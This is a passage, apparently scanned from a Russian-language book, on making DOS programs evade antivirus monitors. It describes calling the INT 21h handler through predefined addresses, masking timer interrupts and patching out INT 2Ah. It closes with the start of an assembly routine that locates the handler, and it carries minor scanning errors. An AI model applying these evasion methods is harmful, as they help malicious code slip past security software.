щением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто
они никогда не раскрывают свои профессиональные секреты. Например,
авторы программы AVPTSR реально учли и использовали все эти мето-
дики и тонкости.
Итак, предположим, что гипотетический антивирусный супермонитор:
- отслеживает и блокирует попытки трассировки 21-го прерывания;
- для контроля "опасных" функций DOS встраивается в начало обра-
ботчика прерывания INT 21h;
- для предотвращения прямого обращения к DOS использует флаг,
сбрасываемый либо во вставленном фрагменте, либо в обработчике
прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при
конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием "мето-
да предопределенных адресов".
Для решения второй проблемы стоит проанализировать возможное
расположение в обработчике DOS точки перехода на антивирусный
монитор. Очевидно, это может быть точка 0 либо точка 1. В самом
худшем случае можно допустить, что врезка происходит непосред-
ственно после команды проверки на максимальное значение номера
функции. Далее обработчик DOS "растекается" на многочисленные
ручейки, поэтому отследить их все крайне затруднительно. По край-
ней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные
ручейки. Однако, при использовании ограниченного набора функций
они могут разместиться и в одном ручейке, что намного упростит ре-
шение данной задачи. Функции 3Ch-43h, отвечающие за создание, от-
крытие, закрытие, чтение, запись, атрибуты и перемещение, действи-
тельно располагаются в одном общем ручейке. Это позволяет
использовать адрес точки 2 для прямого обращения к DOS. Монито-
ры, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений.
Один из вариантов - замаскировать прерывания таймера и изменить
вектор 8-го прерывания перед прямым обращением к DOS. Вместо из-
менения вектора можно попробовать вставить инструкции IRET в нача-
ло текущего (антивирусного) обработчика. При использовании все того
же метода "предопределенных адресов" и, зная позицию инструкции
INT 2Ah в обработчике DOS, перед прямым обращением к DOS следу-
ет просто заменить этот вызов двумя командами NOP.
Пример реализации
Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5"
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, "пра-
вильный" адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для "безопасных" функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки